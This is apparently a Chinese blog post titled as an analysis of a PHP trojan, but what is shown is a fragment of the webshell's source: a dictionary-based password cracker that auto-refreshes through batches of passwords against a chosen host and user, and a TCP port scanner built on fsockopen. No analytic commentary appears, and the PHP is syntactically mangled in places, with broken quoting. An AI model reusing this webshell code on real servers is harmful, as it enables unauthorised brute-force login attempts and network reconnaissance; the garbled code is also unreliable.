php 木马的分析(加密破解)

2019-04-10 10:40:58王旭

                    }
            }
            if(!$t){
                echo "<meta http-equiv="refresh" content="".$admin[jumpsecond].";URL=".$self."?do=crack&passfile=".$passfile."&host=".$host."&user=".$user."&turn=".$nowturn."&onetime=".$onetime."&ctype=".$ctype.""><span style="" style="""font-size: 12px; font-family: Verdana"><a href="" href="""".$self."?do=crack&passfile=".$passfile."&host=".$host."&user=".$user."&turn=".$nowturn."&onetime=".$onetime."&type=".$ctype."">字典总共".$count."个,现在从".$first."到".$now.",".$admin[jumpsecond]."秒后进行这".$onetime."个密码的试探. >>></a><br>全历此次".$type."的破解需要".$tt."次,现在是第".$turn."次解密。</span>";
    }
    else {
        echo"$t";
        }
            }
}else{
            echo"字典文件不存在,请确定。";
            }
}
elseif($do =='port'){
    if(!eregi("-",$port)){
        $tmp = explode(",",$port);
        $count = count($tmp);
        $first = "1";
    }else{
        $tmp = explode("-",$port);
        $first = $tmp[0];
        $count = $tmp[1];

    }
    for($i=$first;$i<$count;$i++){
            if(!eregi("-",$port)){
            $fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
            if($fp) echo"发现".$host."主机打开了端口".$tmp[$i]."<br>";
            }else{
                $fp = @fsockopen($host, $i, $errno, $errstr, 1);
                if($fp) echo"发现".$host."主机打开了端口".$i."<br>";
            }
        }
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